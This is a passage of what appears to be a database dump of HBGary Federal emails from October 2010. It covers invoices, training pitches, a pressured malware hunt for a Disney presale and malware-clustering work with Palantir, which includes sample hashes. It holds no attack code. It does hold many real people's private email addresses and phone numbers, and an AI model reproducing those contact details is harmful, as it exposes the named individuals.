components to lower the risk of wholesale detection.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12523,'aaron_hbgary_com/12523.html'),(12480,'2010-10-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009225.M875432P14101Q7335.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Final Deliverables','After our payroll is due next week. Begin forwarded message:From: Rebecca Thomas &lt;Rebecca.Thomas@agilex.com&gt;\r\nDate: October 1, 2010 11:42:37 AM EDTTo: &#39;Ted Vera&#39; &lt;ted@hbgary.com&gt;Cc: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;\r\nSubject: RE: FW: Final Deliverables30 days from the invoice date. Which is October 10,2010.-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] Sent: Friday, October 01, 2010 11:35 AMTo: Rebecca ThomasCc: Jerry McClureSubject: Re: FW: Final Deliverables\r\nHello Rebecca,Can you tell me when I should expect to receive payment for the invoice?Thanks!Ted\r\nOn Wed, Sep 22, 2010 at 10:21 AM, Rebecca Thomas&lt;Rebecca.Thomas@agilex.com&gt; wrote:\r\nHello.I noticed that on the Travel reimbursement the invoice is showing $1464.56 but the travel reimbursement forms are showing $1062.33 &amp; $308 for expenses.  This is a total of $1,370.33.\r\nPlease verify and let me know.\r\nThank you,Rebecca Thomas\r\nAccountantAgilex Technologies, Inc.5155 Parkstone Drive  |  Chantilly, VA 20151  |  www.agilex.com\r\np:703.889.3827  | Rebecca.Thomas@agilex.com f: 703.483.4932\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',6206,'aaron_hbgary_com/6206.html'),(12481,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009226.M688733P14101Q7337.eml','\"Scott W. Sheldon\" <SCOTT.W.SHELDON@saic.com>,\"Scott W. Sheldon\" <SCOTT.W.SHELDON@saic.com>','Presentation on the 5th','Hi Scott,\r\n\r\nI got your message.  I am still on for the 5th at your Columbia facility.  Attached is our new training brochure which has been structured to make it affordable to train as many people in an organization as possible.\r\n\r\n',16421,'aaron_hbgary_com/16421.html'),(12482,'2010-10-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009226.M76689P14101Q7336.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Disney is going sideways. CORRECT COURSE.','Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: October 1, 2010 11:45:26 AM EDT\r\nTo: Greg Hoglund &lt;greg@hbgary.com&gt;Cc: Maria Lucas &lt;maria@hbgary.com&gt;, Shawn Bracken &lt;shawn@hbgary.com&gt;\r\nSubject: Re: Disney is going sideways. CORRECT COURSE.Can someone please send me the specific netblocks we are evaluating.\r\nOn Oct 1, 2010, at 11:42 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nMaria, Shawn, Ted,IF WE DO NOT FIND THE SMOKING GUN, KISS DISNEY GOODBYE.\r\nProblems:1) Shawn is not trying to find malware.  Shawn is looking at DDNA scores, not hunting for malware.  Doing the minimum necessary is UNACCEPTABLE.\r\n2) Ted is not running Endgames data on the IP blocks that HBGARY is evaluating.  Finding zues in Japan does NOTHING for this presales effort.\r\nMy expectation is that you guys find malware on the machines we are scanning.  I expect that you do a full-spectrum analysis.  THERE IS MALWARE IN THAT NETWORK - IF YOU DON&#39;T FIND IT YOU HAVE FAILED.\r\nMaria is in charge of this effort.\r\n-Greg\r\n',11285,'aaron_hbgary_com/11285.html'),(12483,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009227.M234880P14101Q7338.eml','\"Robert Frizzelle\" <rfrizzelle@csc.com>,\"Paul J. Rooney\" <prooney3@csc.com>','Training Brochure','FYI.\r\n\r\nSocial media security is something everyone needs to be made more aware of, so we have restructured the training to make it more affordable for organizations to train as many people as they can fit into 2 days of training, covering the essentials of familiarization, effective use, risks, methods of exploitation, and protection.\r\n\r\nAttached is our new training brochure.  \r\n\r\n',14335,'aaron_hbgary_com/14335.html'),(12484,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009227.M855232P14101Q7339.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','New Training Brochure','Hi Daniel,\r\n\r\nAttached is our new training brochure.  Let me know what you think.\r\n\r\n',2563,'aaron_hbgary_com/2563.html'),(12485,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009228.M530586P14101Q7340.eml','\"Steve Winterfeld\" <steven.winterfeld@TASC.COM>,\"Mark F (TASC) Leary\" <Mark.Leary@tasc.com>','New Training Program','Hey Guys,\r\n\r\nFYI.  Our new training brochure. \r\n\r\nSince social media security is something everyone needs to be made more aware of, so we have restructured the training to make it more affordable for organizations to train as many people as they can fit into 2 days of training, covering the essentials of familiarization, effective use, risks, methods of exploitation, and protection.  \r\n\r\n',1326,'aaron_hbgary_com/1326.html'),(12486,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009229.M332725P14101Q7341.eml','gil.vega@dhs.gov','Social Media Training','Hi Gil,\r\n\r\nI thought you might be interested.\r\n\r\nSince social media security is something everyone needs to be made more aware of, so we have restructured our training to make it more affordable for organizations to train as many people as they can fit into 2 days of training, covering the essentials of familiarization, effective use, risks, methods of exploitation, and protection.  It is quite an engaging and helpful training program.  I think you would be surprised at how exploitable organizations are through social media.\r\n\r\nAttached is the training brochure.  \r\n\r\nI would be interested to hear what you think.\r\n\r\n',7626,'aaron_hbgary_com/7626.html'),(12487,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009230.M20085P14101Q7342.eml','\"Sean.Sobieraj@us-cert.gov> <Sean.Sobieraj@us-cert.gov\" <Sean.Sobieraj@us-cert.gov>,byron.copeland@dhs.gov','Social Media Training','Hi Byron/Sean,\r\n\r\nI thought you might be interested.\r\n\r\nSince social media security is something everyone needs to be made more aware of, so we have restructured our training to make it more affordable for organizations to train as many people as they can fit into 2 days of training, covering the essentials of familiarization, effective use, risks, methods of exploitation, and protection.  It is quite an engaging and helpful training program.  I think you would be surprised at how exploitable organizations are through social media.\r\n\r\nAttached is the training brochure.  \r\n\r\nI would be interested to hear what you think.\r\n\r\nAlso we are making good progress with the TMC.  We should have something to demo in a few weeks.\r\n\r\n',6530,'aaron_hbgary_com/6530.html'),(12488,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009230.M669564P14101Q7343.eml','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>,\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>,','Re: HB Gary Presentation','Chris et al,\r\n\r\nI thought you might be interested.\r\n\r\nSince social media security is something everyone needs to be made more aware of, so we have restructured our training to make it more affordable for organizations to train as many people as they can fit into 2 days of training, covering the essentials of familiarization, effective use, risks, methods of exploitation, and protection.  It is quite an engaging and helpful training program.  I think you would be surprised at how exploitable organizations are through social media.\r\n\r\nAttached is the training brochure.  \r\n\r\nI would be interested to hear what you think.\r\n\r\nAlso we should have something worth demo\'ing on the TMC in a few weeks.\r\n\r\n',4734,'aaron_hbgary_com/4734.html'),(12489,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009231.M387988P14101Q7344.eml','alexander.miller@l-3com.com,alexander.miller@l-3com.com,,','Re: Follow up to our discussion','Hi Alex,\r\n\r\nChecking to see if there are any next steps and if it would be worth setting up a demo of some technologies or a strategy session looking at potential future collaboration.\r\n\r\nAlso FYI we have a newly restructured social media training program.\r\n\r\nSocial media security is something everyone needs to be made more aware of, so we have restructured our training to make it more affordable for organizations to train as many people as they can fit into 2 days of training, covering the essentials of familiarization, effective use, risks, methods of exploitation, and protection.  It is quite an engaging and helpful training program.  I think you would be surprised at how exploitable organizations are through social media.\r\n\r\nAttached is the training brochure.  \r\n\r\nI would be interested to hear what you think.\r\n\r\n',6186,'aaron_hbgary_com/6186.html'),(12490,'2010-10-01','\"Regus\" <email@regusworldwide.com>','/aaron@hbgary.com/new/1297009232.M347446P14101Q7346.eml','aaron@hbgary.com','We partner. You save.','\r\n \r\n\r\n \r\n\r\n\r\n\r\n	\r\n Regus \r\n	\r\n\r\n \r\n\r\n \r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            \r\n            Having trouble viewing this e-mail? See it online.\r\n              Please add email@regusworldwide.com to your address book.\r\n            &nbsp;\r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n            \r\n              \r\n                \r\n                \r\n              \r\n              \r\n                Save thousands on everyday business purchases with \r\nRegus Purchasing Group.\r\n                &nbsp;\r\n              \r\n              \r\n                 We&rsquo;ve negotiated exclusive discounts with our partners that help you save up to 35% on business services, travel, office supplies, and much more. Start saving now with these featured offers:\r\n                &nbsp;\r\n              \r\n            \r\n            \r\n          \r\n          \r\n            &nbsp;\r\n            \r\n              \r\n                \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    Receive the specially priced Regus Pro-Plan bundle from CompuPay, including online payroll processing, tax filing, and human resources tools for your business.\r\n                  \r\n                \r\n                \r\n                \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                      \r\n                        \r\n                        Get the first six months free on an annual premium Small Business Membership and start saving with productivity solutions and exclusive discounts.\r\n                      \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                      \r\n                        \r\n                        It&rsquo;s time to restock your office supplies! Save time and money, and get everything your office needs. Save up to 10% on your order when you order now with Staples.\r\n                      \r\n                    \r\n                  \r\n                \r\n              \r\n            \r\n            &nbsp;\r\n          \r\n        \r\n      \r\n      \r\n        \r\n      \r\n      \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n                    \r\n                    \r\n                    \r\n                    \r\n                    \r\n                    \r\n                    \r\n                  \r\n                  \r\n                    &nbsp;\r\n                    1100\r\n                      locations\r\n                    &nbsp;\r\n                    500\r\n                      cities\r\n                    &nbsp;\r\n                    85\r\n                      countries\r\n                    &nbsp;\r\n                  \r\n                \r\n                \r\n                \r\n                  \r\n                    \r\n                    \r\n                  \r\n                  \r\n                    \r\n                    \r\n                      \r\n                        1-800-OFFICES \r\n                        \r\n                        regus.com/purchasinggroup\r\n                      \r\n                    \r\n                  \r\n                  \r\n                    &nbsp;\r\n                    \r\n                      \r\n                        Follow us:\r\n                        \r\n                        \r\n                        \r\n                      \r\n                    \r\n                  \r\n                \r\n              \r\n            \r\n          \r\n          \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                &nbsp;\r\n                Regus\r\n                    Group plc and its subsidiaries (&ldquo;Regus Group&rdquo;) respect your privacy and are committed to protecting\r\n                    it. If you no longer wish to receive our promotional communications, you may change your requirements by clicking update\r\n                      profile. You can find out more by reading our privacy\r\n                      policy.\r\n                    \r\n                    Regus plc (soci&eacute;t&eacute; anonyme) Head Office: 26 Boulevard Royal, L-2449 Luxembourg R.C.S. Luxembourg B: 141159. Registered Office: 22 Grenville Street,\r\n                    St Helier, Jersey, JE4 8PX, Channel Islands Jersey Registered Number: 101523.\r\n                &nbsp;\r\n              \r\n            \r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n',14924,'aaron_hbgary_com/14924.html'),(12491,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009232.M42370P14101Q7345.eml','cbarnett4@csc.com','Social Media Training','Hey Chris,\r\n\r\nI thought you might be interested.\r\n\r\nSocial media security is something everyone needs to be made more aware of, so we have restructured our training to make it more affordable for organizations to train as many people as they can fit into 2 days of training, covering the essentials of familiarization, effective use, risks, methods of exploitation, and protection.  It is quite an engaging and helpful training program.  I think you would be surprised at how exploitable organizations are through social media.\r\n\r\nAttached is the training brochure.  \r\n\r\nI would be interested to hear what you think.\r\n\r\n',9086,'aaron_hbgary_com/9086.html'),(12492,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009232.M987799P14101Q7347.eml','jason@pulselogic.com','Social Media Training','Hi Jason,\r\n\r\nIf you have some time I would like to get together with you to talk cybersecurity and some of our technologies.  Also thought you might be interested in our social media training.\r\n\r\nSocial media security is something everyone needs to be made more aware of, so we have restructured our training to make it more affordable for organizations to train as many people as they can fit into 2 days of training, covering the essentials of familiarization, effective use, risks, methods of exploitation, and protection.  It is quite an engaging and helpful training program.  I think you would be surprised at how exploitable organizations are through social media.\r\n\r\nAttached is the training brochure.  \r\n\r\nI would be interested to hear what you think.\r\n\r\n',9205,'aaron_hbgary_com/9205.html'),(12493,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009246.M212490P14101Q7348.eml','\"Aaron Zollman\" <azollman@palantir.com>','Re: Soysauce clusters','you got the source data right?\r\n\r\nAaron\r\n\r\nAttached is Gregs brief from blackhat which was focused around this malware set.\r\n\r\n\r\n\r\nOn Oct 1, 2010, at 11:21 AM, Aaron Zollman wrote:\r\n\r\n> Is there source data for this we might be able to reference? Or is this from the same 100mb XML file we already had?\r\n>  \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, October 01, 2010 11:19 AM\r\n> To: Aaron Zollman\r\n> Subject: Fwd: Soysauce clusters\r\n>  \r\n>  \r\n>  \r\n> Begin forwarded message:\r\n> \r\n> \r\n> From: Greg Hoglund \r\n> Date: September 30, 2010 6:08:22 PM EDT\r\n> To: Aaron Barr , Phil Wallisch \r\n> Subject: Soysauce clusters\r\n>  \r\n>  \r\n> Aaron,\r\n>  \r\n> Martin clustered your soysauce bins.  See attached graph for an annotated version that is good for slideshow.\r\n>  \r\n> What I find interesting is the large collection of soysauce bianries that live in the same community with PoisonIvy, Pinch, and a few other bot kits.  Then, there are three outlier clusters that have nothing to do with that community.  This shows how APT will use multiple different malware kits & components to lower the risk of wholesale detection.\r\n>  \r\n> -Greg\r\n> \r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>  \r\n>  \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',1986,'aaron_hbgary_com/1986.html'),(12494,'2010-10-01','\"Paul Rooney\" <prooney3@csc.com>','/aaron@hbgary.com/new/1297009248.M860938P14101Q7349.eml','aaron@hbgary.com,\"Meg Droegemeyer\" <mdroegem@csc.com>,aaron@hbgary.com','Re: Get Together','\r\nLet\'s have lunch. Meg - can you set\r\nthis up please?\r\n\r\nThanks,\r\n\r\nPaul\r\n\r\nPaul Rooney\r\nDirector\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD &nbsp;21076\r\np: 443.445.7303 &nbsp;c: 410-245-7904\r\nf: 443.445.7134\r\nprooney3@csc.com I www.csc.com\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nPaul Rooney/USA/CSC@CSC\r\n\r\nCc:\r\nRobert L Frizzelle/USA/CSC@CSC\r\n\r\nDate:\r\n10/01/2010 11:09 AM\r\n\r\nSubject:\r\nRe: Get Together\r\n\r\n\r\n\r\n\r\nSorry for delay - Sisters wedding. &nbsp;Would love to\r\nget together, let me look at location. &nbsp;Do you want to have a &quot;business\r\nlocation&quot; or given the time do you want to meet for lunch?\r\n\r\nAaron\r\n\r\nOn Sep 29, 2010, at 3:24 PM, Paul Rooney wrote:\r\n\r\n\r\nAaron, \r\n\r\nBob and I would love to get together and catch up. Would you have time\r\non 12 October, 1130 to 1230? You can choose the location. \r\n\r\nThanks, \r\n\r\nPaul \r\n\r\nPaul Rooney\r\nDirector\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD &nbsp;21076\r\np: 443.445.7303 &nbsp;c: 410-245-7904\r\nf: 443.445.7134\r\nprooney3@csc.com\r\nI www.csc.com\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n',4753,'aaron_hbgary_com/4753.html'),(12495,'2010-10-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009249.M884053P14101Q7351.eml','\"Bracken Shawn\" <shawn@hbgary.com>,\"Lucas Maria\" <maria@hbgary.com>,\"Hoglund Greg\" <greg@hbgary.com>,\"Bracken Shawn\" <shawn@hbgary.com>','Endgames','Disney results attached.\r\n',5363,'aaron_hbgary_com/5363.html'),(12496,'2010-10-01','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297009249.M89750P14101Q7350.eml','\"Aaron Barr\" <aaron@hbgary.com>','Just checking in','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nStill on for lunch at LX2 with Tom and Dan Conroy????\r\n\r\n&nbsp;\r\n\r\nCassie Robinson | Northrop Grumman Corporation\r\nIntelligence Integrated Customer Team\r\ntel 703-741-7781 | 1000 Wilson Blvd &nbsp;| Suite 2300\r\n&nbsp;| Arlington, VA 22209\r\n&nbsp;\r\nHelp\r\nthy brother\'s boat across, and lo! thine own has reached the shore.\r\n--Hindu Proverb&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7226,'aaron_hbgary_com/7226.html'),(12497,'2010-10-01','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297009250.M131419P14101Q7352.eml','','RE: cybernexus Technical Tuesday - The Rise of the Social Web; 5 Oct 2010; 1600 - 1730','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI hope you can attend.\r\nI spoke with Aaron earlier today and everything is confirmed for Tuesday\r\nafternoon.\r\n\r\n&nbsp;\r\n\r\nThis will be an updated version of the\r\npresentation Aaron gave at the NSA REBL conference earlier this year with\r\nadditional information he\'s collected and developed since then.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp;\r\n|&nbsp; Environment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp;\r\n|&nbsp; Critical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sheldon, Scott W. \r\nSent: Thursday, August 19, 2010\r\n6:01 PM\r\nSubject: cybernexus Technical\r\nTuesday - The Rise of the Social Web; 5 Oct 2010; 1600 - 1730\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe presentation will focus on the rise of the social web,\r\nconvergence of technologies to support the social web, and the implications of\r\na growing amount of personally identifiable information (PII) disclosure.\r\nAggregated across social media services, the personal information exposure is\r\ndifficult to manage, and for organizations the aggregated exposure of implicit\r\ninformation is significant. We will discuss the direction of the social web,\r\ndescribe the risks of information exposure to people and organizations as well\r\nas run through some use cases demonstrating the ease of acquiring sensitive\r\ninformation through social reconnaissance. Lastly we will cover what can be\r\ndone today to limit information exposure.\r\n\r\n\r\nPresented by: Aaron Barr of HBGary Federal\r\n\r\nAaron Barr is the CEO of HBGary Federal, a services company focused on delivering\r\nspecialized threat intelligence, incident response, and information operations\r\ncapabilities to the IC, DoD, and Federal agencies. Previously, Aaron served as\r\nthe Director of Technology for the Cybersecurity and SIGINT Business Unit\r\nwithin Northrop Grumman\'s Intelligence Systems Division, and as the Chief\r\nEngineer for Northrop Grumman\'s Cyber Campaign. As Technical Director, he was\r\nresponsible for developing technical strategies and road maps for a $750\r\nmillion organization as well as managing approximately $20 million in Research\r\nand Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12\r\nyears in the United States Navy as an enlisted cryptologist, senior signals\r\nanalyst, software programmer, and system administrator. Mr. Barr served tours\r\nin Misawa, Japan,\r\nNorfolk, Virginia,\r\nPensacola, Florida,\r\nand Rota, Spain. While serving in Norfolk, Virginia,\r\nhe was accepted into the Enlisted Education Advancement Program (EEAP) where he\r\nfinished a Bachelors of Science in Biology, minoring in Chemistry, later\r\ncompleting a Masters in Computer Science with an emphasis in Computer Security.\r\nHe has been a panelist and given speeches on cyber security and emerging\r\ntechnologies at numerous Intelligence Community and DoD conferences and\r\nsymposiums.\r\n\r\n\r\nSAIC will host the Technical Tuesday at our facility at 7035 Albert Einstein, Columbia, MD\r\n 21046.\r\n\r\n&nbsp;\r\n\r\nThis has been posted on LinkedIn as an event and as a\r\ndiscussion on the cybernexus page. I&#8217;ll be posting it on Facebook as\r\nwell.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice President, Senior Account\r\nExecutive | Intelligence, Security and Technology Group\r\n\r\nmobile: 410.382.0179 | email:\r\nscott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience Applications International\r\nCorporation\r\n\r\n6841 Benjamin Franklin Drive\r\n\r\nColumbia,\r\n MD 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp; |&nbsp;\r\nEnvironment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp; |&nbsp;\r\nCritical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and\r\nany attachments to it are intended\r\nonly for the identified recipients. It may contain proprietary or otherwise\r\nlegally protected information of SAIC. Any unauthorized use or disclosure of\r\nthis communication is strictly prohibited. If you have received this\r\ncommunication in error, please notify the sender and delete or otherwise\r\ndestroy the e-mail and all attachments\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10025,'aaron_hbgary_com/10025.html'),(12498,'2010-10-01','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009250.M404428P14101Q7353.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Soysauce clusters','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, got it now. Thanks.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, October 01, 2010 1:59 PM\r\nTo: Aaron Zollman\r\nSubject: Re: Soysauce clusters\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nyou got the source data right?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached is Gregs brief from blackhat which was focused\r\naround this malware set.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9697,'aaron_hbgary_com/9697.html'),(12499,'2010-10-01','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297009250.M773744P14101Q7354.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>,','Re: Malware presentation at Palantir GovCon','Aaron,Attached is the current output from the TMC for 2 of the executables.  It&#39;s still parsing the other 5.  There is some unnecessary data from a test executable trojan that I used for testing.  I&#39;m not seeing anything from the binaries so far as a DDNA score.  These were live samples correct?  I&#39;ll ship more as it becomes available.\r\nThanks,MarkOn Thu, Sep 30, 2010 at 10:09 AM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:\r\nAaron,\r\n\r\nUnderstood. I&#39;ll be in the office all day Monday.\r\n\r\nIdeally we&#39;d see the TMC output for the samples referenced by hash in the\r\nXLS I attached in my previous message; other TMC output could work but would\r\nchange the demo path we&#39;d been expecting.\r\n\r\nI am in meetings until about 2:30 but will call you afterwards.\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, September 30, 2010 10:36 AM\r\nTo: Aaron Zollman\r\nCc: Ted Vera; mark@hbgary.com; Matthew Steckman\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\nHi Aaron,\r\n\r\nI can meet on Monday.  This week I am in Oregon for my Sisters wedding.\r\n\r\nMark,\r\nPlease send Aaron a few TMC data samples.  If the TMC data samples are too\r\nscattered at the moment can you send him some responder data sets?\r\n\r\nAaron,\r\nI would like to get on the phone and discuss this today if possible.  I have\r\nsome questions.\r\n\r\nAaron\r\nOn Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n\r\n&gt; All --\r\n&gt;\r\n&gt;       The deadline is coming up -- Aaron, can we meet again this Friday to\r\nwork on the presentation some more? I also need some data from you, which\r\nI&#39;ve called out at the end of this message; including TMC samples we\r\ndiscussed last friday.\r\n&gt;\r\n&gt;       But first, Progress!\r\n&gt;       I tried a new correlation technique -- a much simpler one. Using\r\nsqlite, I identified all malware with more than 20 fingerprints in common\r\nwith one (or more) of the APT samples. I then imported those Commonality\r\nrecords (a new datatype) as linking events in Palantir.\r\n&gt;\r\n&gt; 6 of the malware samples don&#39;t have high Commonality with any of the APT\r\nsamples -- you&#39;ll see those off to the side in the attached screenshot.\r\n&gt;\r\n&gt; 4 of the malware objects seem to be relatively tightly coupled to each\r\nother through some of the original samples:\r\n&gt;\r\n&gt;       99ba36a387f82369440fa3858ed2c7ae\r\n&gt;       83d7e99ace330a6301ab6423b16701de\r\n&gt;       c10222e198dd1b32f19d2c3bf55880cd\r\n&gt;       ae7bf771b80576ec88469a1bc495812e\r\n&gt;\r\n&gt; And one of the malware objects has a few commonalities with the others,\r\nbut several malware objects that are only similar to it (and not the other\r\n4):\r\n&gt;\r\n&gt;       279162665e7c01624091afb19b7d7f4c\r\n&gt;\r\n&gt; The screenshot makes this all very clear.\r\n&gt;\r\n&gt;\r\n&gt; To complete the presentation, we&#39;ll want to take those four malware\r\nobjects -- and possibly the linked malware objects as well -- and also\r\nimport some of the additional fingerprint data available from TMC -- IP\r\naddresses they call out to, interesting strings, etc. -- and further augment\r\n*that* data with things we learn from social network information.\r\n&gt;\r\n&gt; The first practice sessions for GovCon are next 